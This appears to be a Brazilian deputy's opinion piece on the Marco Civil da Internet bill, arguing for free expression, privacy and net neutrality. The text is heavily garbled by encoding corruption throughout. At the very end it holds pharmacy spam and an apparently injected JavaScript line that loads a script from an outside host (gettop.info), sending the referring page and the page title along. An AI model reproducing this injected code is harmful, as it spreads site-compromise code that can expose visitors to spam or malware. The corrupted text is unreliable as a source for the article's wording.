LAi??der do PSB na CA?mara, deputado Beto Albuquerque defende a neutralidade. Foto: SAi??rgio FrancA?s
A ausA?ncia do marco civil da internet traz prejuAi??zos a todos. Ai?? sociedade e aos usuA?rios da rede, que, sem esse regulamento, vivem a ameaAi??a real de ter sua liberdade de expressA?o tolhida e sua privacidade invadida; ao mercado, que sem normas claras se fecha a novos investimentos em negA?cios virtuais; e Ai?? prA?pria rede, que pode ter seu potencial de inovaAi??A?o e desenvolvimento limitados.
A elaboraAi??A?o do marco civil deve evitar excessos que possam entrar em conflito com a natureza aberta, dinA?mica, inovadora e transnacional da internet, a qual se caracteriza pela rapidez da evoluAi??A?o tecnolA?gica e por ter se transformado em um espaAi??o aberto a todos.
Ao legislar sobre o assunto na CA?mara dos Deputados, devemos garantir que o marco civil da internet proteja a liberdade de expressA?o e a privacidade do usuA?rio. AlAi??m disso, devemos garantir a neutralidade da rede e promover a inovaAi??A?o, alAi??m de impedir propostas autoritA?rias que venham a desfigurar a natureza aberta, nA?o proprietA?ria e distribuAi??da.
A questA?o crucial Ai?? esta: o marco civil nA?o deve servir Ai?? fixaAi??A?o de modelos de negA?cios. Se hoje contratamos uma velocidade e com ela navegamos por sites de notAi??cias, assistimos a vAi??deos e nos comunicamos pela internet nA?o podemos admitir que o novo modelo comporte planos diferenciados por tipos de serviAi??o. NA?o Ai?? difAi??cil imaginar que o plano com mais recursos seria muito mais caro do que a opAi??A?o bA?sica, fracionando a internet como a conhecemos. Desse modo, nA?o pode haver restriAi??Ai??es por questAi??es de conteA?do tAi??cnico e princAi??pios comerciais, pois quebra a neutralidade da rede e torna a internet uma grande TV a cabo.
A neutralidade da rede Ai?? a garantia de que todas as informaAi??Ai??es serA?o tratadas de forma igual, sem discriminaAi??A?o ou privilAi??gio em razA?o de origem, destino, conteA?do ou serviAi??o. A neutralidade da rede impede que os grandes provedores favoreAi??am o trA?fego a seus parceiros comerciais e prejudiquem os demais. Evita tambAi??m que ofereAi??am pacotes que restrinjam a navegaAi??A?o a determinados serviAi??os, como e-mail ou redes sociais, bloqueando o acesso a todo o resto do que existe na internet.
Precisamos legislar na A?tica de que a internet estarA? muito mais presente em nossas vidas do que imaginamos hoje. Estamos a gerar um arcabouAi??o legal num momento de transformaAi??Ai??es tecnolA?gicas, sociais e econA?micas que o mundo jA? experimentou. Mais: esta responsabilidade ocorre no Brasil, um paAi??s conhecido pela alta taxa de utilizaAi??A?o da rede, por ter um alto grau de inovaAi??A?o na internet e por contar hoje com 100 milhAi??es de usuA?rios.
Portanto, nA?o podemos correr o risco de transformar o projeto no marco comercial da internet. O Projeto de Lei 2.126/11 deve garantir direitos e princAi??pios fundamentais na rede, de forma a manter a arquitetura, os protocolos e o funcionamento livre e descentralizado, tal qual a internet foi projetada. http://phillyautoquotes.com/?p=14075fluoxetine online cheappills online s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
